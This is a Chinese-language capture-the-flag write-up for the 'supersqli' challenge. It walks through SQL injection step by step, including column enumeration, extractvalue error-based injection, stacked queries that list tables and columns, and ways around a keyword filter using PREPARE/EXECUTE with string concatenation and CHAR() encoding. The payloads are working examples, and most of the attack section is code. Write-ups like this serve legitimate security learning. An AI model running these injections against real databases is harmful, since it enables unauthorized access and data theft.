supersqli-攻防世界

题目

加个'报错

1' and 1=1 #没报错判断为单引号字符注入

爆显位

1' order by 2#回显正常

1' order by 3#报错

说明列数是2

尝试联合查询

-1' union select 1,2#

被过滤了

复制代码
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
    • select|update|delete|drop|insert|where:这部分表示匹配其中的任何一个单词。| 是一个逻辑"或"操作符,意味着它会匹配它前面的或后面的任何一个模式。
    • \.. 在正则表达式中是一个特殊字符,代表匹配任何字符(除了换行符)。为了匹配实际的点字符.,我们需要使用 \.
    • i:这是一个修饰符,表示匹配是不区分大小写的。
    • 代码会检查$inject字符串中是否包含"select"、"update"、"delete"、"drop"、"insert"、"where"或点.(不考虑大小写)。
      • 如果匹配到任何这些模式,preg_match会返回1,表示匹配成功。如果没有匹配到,它会返回0。
      • return 关键字表示这个函数会直接返回preg_match的结果。

SQL注入分类

根据参数类型:字符型,数字型、搜索型

根据提交方式:POST注入,GET注入,HTTP HEAD注入

根据有无回显:联合注入,报错注入,布尔盲注,延时注入

其他注入:堆叠注入,宽字节注入,二次注入等

尝试报错注入

爆数库版本

1' and (extractvalue(1,concat(0x5c,version(),0x5c)))

爆数据库名

1' and (extractvalue(1,concat(0x5c,database(),0x5c)))--+

得到数据库名supersqli

但是后续爆表列等被过滤了

基本都被过滤了尝试堆叠注入

1';show databases;#

结合题目以及之前爆出的数据库名猜测flag在supersqli

爆当前数据库biao

0';show tables;#

爆191字段

1';show columns from `1919810931114514`;#

查flag字段

1';select 1,2,group_concat(flag) from 1919810931114514;#

又被过滤了

使用MySQL预处理语句

1';PREPARE test from concat('s','elect','* from `1919810931114514`');EXECUTE test;#

PREPARE test from concat('s','elect','* from 1919810931114514') 表示利用 CONCAT 函数拼接 SQL 语句字符串 'select * from 1919810931114514',并将结果赋值给 test 参数。

EXECUTE test;# 则执行了刚才定义的 SELECT 语句,查询1919810931114514表中的所有数据,并将查询结果输出

采用预编译绕过,

1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#

';sEt @sql = CONCAT('se','lect * from 1919810931114514;'); 进行预编译

prEpare stmt from @sql; 设置变量

EXECUTE stmt;# 执行

char函数将ASCII值转字符实现select绕过

char函数:

复制代码
SELECT CHAR(72, 101, 108, 108, 111);

以上 SQL 查询语句将返回字符串Hello 因为 H 对应 ASCII 码值为 72,e 对应 ASCII 码值为 101,l 对应 ASCII 码值为 108,o 对应 ASCII 码值为 111。

复制代码
1';PREPARE w from concat(char(115,101,108,101,99,116),' * from `1919810931114514`');EXECUTE w;#

115,101,108,101,99,116对应select

相关推荐
David WangYang3 小时前
基于 IOT 的安全系统,带有使用 ESP8266 的语音消息
物联网·安全·语音识别
合作小小程序员小小店4 小时前
SDN安全开发环境中常见的框架,工具,第三方库,mininet常见指令介绍
python·安全·生成对抗网络·网络安全·网络攻击模型
数据智能老司机5 小时前
实现逆向工程——汇编指令演练
安全·逆向·汇编语言
网络研究院7 小时前
新的“MadeYouReset”方法利用 HTTP/2 进行隐秘的 DoS 攻击
网络·网络协议·安全·http·攻击·漏洞
guts°7 小时前
6-服务安全检测和防御技术
安全
sinat_2869451916 小时前
AI应用安全 - Prompt注入攻击
人工智能·安全·prompt
数据智能老司机1 天前
实现逆向工程——理解 x86 机器架构
安全·逆向
数据智能老司机1 天前
实现逆向工程——逆向工程的影响
安全·逆向
2301_780789661 天前
边缘节点 DDoS 防护:CDN 节点的流量清洗与就近拦截方案
安全·web安全·ddos
江拥羡橙1 天前
【基础-判断】HarmonyOS提供了基础的应用加固安全能力,包括混淆、加密和代码签名能力
安全·华为·typescript·harmonyos